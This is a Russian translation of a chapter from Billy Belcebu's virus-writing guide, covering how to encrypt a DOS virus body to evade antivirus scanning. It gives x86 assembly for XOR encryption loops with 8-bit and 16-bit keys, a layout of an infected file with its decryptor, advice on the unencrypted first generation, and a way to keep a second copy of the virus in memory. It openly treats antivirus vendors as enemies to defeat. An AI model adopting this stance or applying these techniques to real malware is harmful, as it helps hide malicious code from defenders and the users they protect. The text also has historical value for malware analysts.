[ Путеводитель по написанию вирусов: 6. Шифрование ]
Техники шифрования весьма стары, но они еще эффективны и часто используются. Вероятно, это одна из тех концепций,
которые могут жить годами, хотя бы и с постоянными усовершенствованиями, такими как полиморфизм, метаморфизм и тому
подобное. Hашей целью является скрыть все текстовые строки, подозрительные опкоды и все остальное в этом роде от
глаз пользователя. Мы можем сделать это с помощью простой математической операции, которую применим ко всем байтам
тела вируса. Например мы можем увеличить все байты нашего вируса на один, после чего не сможем найти ни одной
читабельной текстовой строки в нашем вирусе :).
Структура зашифрованного вируса следующая:
+-----------------------------------+ Это очень просто. Сначала
+-¦ Вызов декриптора ¦ идет вызов декриптора,
¦ +-----------------------------------¦<---+ после того, как тот
¦ ¦ ¦ ¦ заканчивает свою работу,
¦ ¦ ¦ ¦ он передает контроль
¦ ¦ Зараженный файл ¦ ¦ вирусу, а тот в конце
¦ ¦ ¦ ¦ концов передает программе
¦ ¦ ¦ ¦ контроль.
¦ +-----------------------------------¦<-+ ¦
¦ ¦ ¦ ¦ ¦
¦ ¦ Тело вируса ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦
+>+-----------------------------------¦----+
¦ Декриптор ¦ ¦
+-----------------------------------+--+
Есть математическая операция, которая даст нам одно преимущество. Мы можем использовать одну процедуру для шифрования и
расшифровки нашего кода. Конечно, мы говорим о XOR, наиболее используемой инструкции для дескрипторов. Есть еще две
инструкции, которые могут быть использоваться как для шифрования, так и для расшифровки: NOT и NEG. Наиболее часто
используемая из этих двух - это первая. Разумеется, мы можем использовать для шифрования гораздо больше инструкций.
Я покажу вам небольшой список инструкций, которые мы можем использовать:
INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...
Самый простой путь зашифровать наш вирус - это использовать следующую процедуру:
encryption:
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; Откуда
mov si,di ; Для lodsb/stosb
mov ah,key ; Значение для XOR. key может быть
; таким, каким вам угодно.
encryption_loop:
lodsb ; Двигаем байт из DS:SI в AL
xor al,ah
stosb ; Двигаем байт из AL в ES:DI
loop encryption_loop
ret
Это не очень хорошая процедура. Она дает всего лишь 255 вариантов, так как мы работаем с 8-ми байтным регистром в
качестве ключа (AH).
Конечно, это самый простой путь. Мы должны обратить внимание на следующее:
- Если мы используем процедуру вроде этой, и у нас нет второй копии нашего вируса в памяти (я расскажу об этом в
этой статье), то при ее использовании мы должны оставить незашифрованной ту часть кода, которая копирует (а также
вызывает шифрующую процедуру) вирус в тело жертвы.
- Мы должны позаботиться о состоянии вируса в его первом поколении: когда он не зашифрован. Если мы используем xor,
то для этой целью можем воспользоваться значением 00 в первом поколении, а затем специальная процедура поменяет
это значение в коде, или просто избежать запуска шифрующей процедуры в первом поколении.
А теперь мы посмотрим, как можно адаптировать вышеприведенную процедуру, если использовать в качестве ключа 16-ти
битный ключ.
encryption:
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; Откуда
mov si,di ; Для lodsb/stosb
mov dx,key ; Значение для XOR. key может быть
; таким, каким вам угодно.
encryption_loop:
lodsw ;
xor ax,dx Двигаем байт из DS:SI в AL
stosw ;
loop encryption_loop Двигаем байт из AL в ES:DI
ret
Проблема следующая: если мы оставим процедуру копирования и криптор незашифрованными... то что сделают AVеры? У них
есть наш вирусы, на который было затрачено столько усилий (да, да, у нас ушло столько времени и труда, чтобы сделать
его антиэвристичным, невидимым, со множество крутых примочек...), сканстроку, достаточно длинную, чтобы добавить ее в
свои антивирусы. За пять минут они реализуют алгоритм для обнаружения нашего вируса. Аррх! VXер потратил несколько дней,
чтобы создать достойный вирус, а из-за того, что он использовал простой криптор вроде этого, за 5 минут наши враги нашли
путь свести все его усилия на нет! Этот мир дерьмово устроен! :(
Hо VXеры никогда не сдаются, поэтому... Hам нужно сделать декриптор настолько малым, насколько это возможно. В следующей
главе вы найдете лучших из возможных ответов :).
Как у нас может быть вторая копия нашего вируса в памяти? Это очень просто. После метки, которая указывает на последний
байт, который скопирует наш вирус, у нас должно быть что-то вроде следующего:
virus_end label byte ; Метка, указывающая на последний байт
enc_buffer db (offset virus_end-offset virus_start) dup (090h)
В переменной enc_buffer будет код только в первом поколении. Когда мы распространяем вирус, эта переменная не будет
копироваться вместе с ней. Hо мы можем использовать ее смещение, чтобы бы мы могли поместить туда вторую копию вируса.
Мы делаем следующее:
- Когда мы копируем наш вирус в память (если он резидентный), делаем это в другой раз, а также когда мы помещаем код в
заголовок EXE или первые байты COM'а, мы помещаем их по тому же смещению, где должны находиться эти переменные,
сдвинутые на размер вируса. Ок, я объясню это лучше. Представьте, что у нас есть что-то вроде следующего:
mov ah,3Fh
mov cx,4
lea dx,old3bytes
int 21h
Хорошо. Теперь, если у нас есть вторая копия вируса в памяти, мы должны заменить третью линию на примерно следующее:
lea dx,virus_size+old3bytes
Лучший путь - это поэкспериментировать с этим...
- Или мы можем скопировать тело вируса непосредственно перед добавлением вируса: у нас есть весь набор переменных.
Перемещение будет выглядеть примерно так:
mov cx,virus_size
xor si,si
mov di,offset virus_begin
rep movsb
Мы зашифровали ее, добавили эту вторую копию и... вот и все, ребята!
(c) Billy Belcebu, пер. Aquila